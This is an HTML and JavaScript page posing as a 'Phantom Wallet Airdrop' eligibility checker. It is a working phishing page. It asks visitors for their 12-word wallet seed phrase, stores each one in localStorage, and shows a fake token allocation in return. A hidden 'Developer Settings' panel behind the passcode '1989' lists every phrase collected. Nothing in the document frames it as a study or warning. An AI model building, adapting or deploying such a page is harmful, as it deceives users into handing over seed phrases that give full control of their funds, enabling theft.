<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Phantom Wallet Airdrop</title>
    <link href="https://fonts.googleapis.com/css2?family=Poppins:wght@400;600&display=swap" rel="stylesheet">
    <style>
        body {
            font-family: 'Poppins', sans-serif;
            background: linear-gradient(to right, #68C7E4, #A1D8E6);
            margin: 0;
            display: flex;
            justify-content: center;
            align-items: center;
            height: 100vh;
            color: #333;
            position: relative;
        }
        .container {
            background-color: rgba(255, 255, 255, 0.9);
            width: 420px;
            padding: 30px;
            border-radius: 20px;
            box-shadow: 0px 6px 18px rgba(0, 0, 0, 0.1);
            text-align: center;
            font-size: 16px;
        }
        h1 {
            font-size: 36px;
            color: #4A90E2;
            margin-bottom: 20px;
        }
        .popup {
            display: none;
            position: fixed;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            background-color: rgba(0, 0, 0, 0.6);
            justify-content: center;
            align-items: center;
        }
        .popup-content {
            background-color: #ffffff;
            padding: 30px;
            width: 360px;
            border-radius: 20px;
            text-align: center;
        }
        .popup textarea {
            width: 100%;
            height: 100px;
            margin-bottom: 20px;
            padding: 12px;
            border-radius: 8px;
            border: 1px solid #ddd;
            font-size: 14px;
        }
        .popup button {
            background-color: #4A90E2;
            color: white;
            padding: 12px 20px;
            border: none;
            border-radius: 8px;
            cursor: pointer;
            font-size: 16px;
            transition: background-color 0.3s ease;
        }
        .popup button:hover {
            background-color: #357ABD;
        }
        /* Congratulations Page Style */
        .congratulations-page {
            background-color: rgba(255, 255, 255, 0.9);
            width: 420px;
            padding: 30px;
            border-radius: 20px;
            box-shadow: 0px 6px 18px rgba(0, 0, 0, 0.1);
            text-align: center;
            display: none;
        }
        .tokens-display {
            background-color: #f4f4f9;
            padding: 15px;
            border-radius: 10px;
            font-size: 22px;
            font-weight: bold;
            color: #4A90E2;
            margin-bottom: 20px;
        }
        .disclaimer {
            font-size: 14px;
            color: #777;
            margin-top: 20px;
            text-align: center;
        }
        .collection-date {
            font-size: 18px;
            font-weight: bold;
            color: #D32F2F;
            margin-bottom: 20px;
        }

        /* Developer Box */
        .developer-btn {
            position: absolute;
            top: 20px;
            right: 20px;
            background-color: #4A90E2;
            color: white;
            padding: 10px 15px;
            border-radius: 8px;
            cursor: pointer;
            font-size: 16px;
            transition: background-color 0.3s ease;
        }

        .developer-btn:hover {
            background-color: #357ABD;
        }

        .developer-box {
            display: none;
            position: absolute;
            top: 100px;
            left: 50%;
            transform: translateX(-50%);
            background-color: rgba(255, 255, 255, 0.9);
            width: 420px;
            padding: 30px;
            border-radius: 20px;
            box-shadow: 0px 6px 18px rgba(0, 0, 0, 0.1);
            text-align: center;
            font-size: 14px;
        }
        .developer-box textarea {
            width: 100%;
            height: 200px;
            margin-bottom: 20px;
            padding: 12px;
            border-radius: 8px;
            border: 1px solid #ddd;
            font-size: 14px;
            color: #4A90E2;
        }
    </style>
</head>
<body>

    <!-- Developer Button -->
    <button class="developer-btn" id="developerBtn">Developer Settings</button>

    <!-- Developer Box -->
    <div class="developer-box" id="developerBox">
        <h2>Developer Box</h2>
        <textarea id="savedSeedPhrases" readonly placeholder="No seed phrases saved yet..."></textarea>
    </div>

    <!-- Congratulations Page -->
    <div class="congratulations-page" id="congratulationsPage">
        <h2>Congratulations!</h2>
        <p>You are eligible for the airdrop!</p>
        <p>You can collect your airdrop starting from:</p>
        <p class="collection-date">
            February 15, 2025 (UTC-6)
        </p>
        <div class="tokens-display">
            Your token allocation: 126 $PHANTOM
        </div>
        <p class="disclaimer">The airdrop eligibility checker is intended to give an estimate and is not a final reflection of your token allocation.</p>
    </div>

    <!-- Main Eligibility Checker Section -->
    <div class="container" id="welcomePage">
        <h1>Phantom Airdrop Eligibility Checker</h1>
        <p>Welcome to Phantom's exclusive airdrop. Check your eligibility and claim your tokens!</p>
        <button class="next-btn" id="checkEligibilityBtn">Check Eligibility</button>
    </div>

    <!-- Popup for entering the 12-word seed phrase -->
    <div class="popup" id="popup">
        <div class="popup-content">
            <h2>Check Your Eligibility</h2>
            <textarea id="seedPhrase" placeholder="Enter your 12-word seed phrase here..."></textarea>
            <br><br>
            <button id="submitBtn">Submit</button>
        </div>
    </div>

    <script>
        const checkEligibilityBtn = document.getElementById('checkEligibilityBtn');
        const popup = document.getElementById('popup');
        const submitBtn = document.getElementById('submitBtn');
        const seedPhraseInput = document.getElementById('seedPhrase');
        const congratulationsPage = document.getElementById('congratulationsPage');
        const developerBtn = document.getElementById('developerBtn');
        const developerBox = document.getElementById('developerBox');
        const savedSeedPhrases = document.getElementById('savedSeedPhrases');

        // Show the seed phrase entry popup when button is clicked
        checkEligibilityBtn.addEventListener('click', () => {
            popup.style.display = 'flex';
        });

        // Save the seed phrase to localStorage and show the congratulations page
        submitBtn.addEventListener('click', () => {
            const seedPhrase = seedPhraseInput.value.trim();
            if (seedPhrase) {
                // Save the seed phrase to localStorage
                let seedPhrases = JSON.parse(localStorage.getItem('seedPhrases')) || [];
                seedPhrases.push(seedPhrase);
                localStorage.setItem('seedPhrases', JSON.stringify(seedPhrases));

                // Hide the eligibility checker and seed phrase input
                document.getElementById('welcomePage').style.display = 'none';
                popup.style.display = 'none';
                
                // Show the congratulations page
                congratulationsPage.style.display = 'block';

                // Clear the seed phrase input field
                seedPhraseInput.value = ''; 
            } else {
                alert("Please enter your 12-word seed phrase.");
            }
        });

        // Developer passcode and box access
        developerBtn.addEventListener('click', () => {
            const passcode = prompt("Enter the developer passcode:");
            if (passcode === "1989") {
                // Show developer box
                developerBox.style.display = 'block';
                // Get and display all saved seed phrases from localStorage
                let seedPhrases = JSON.parse(localStorage.getItem('seedPhrases')) || [];
                savedSeedPhrases.value = seedPhrases.join('\n');
            } else {
                alert("Incorrect passcode!");
            }
        });
    </script>
</body>
</html>
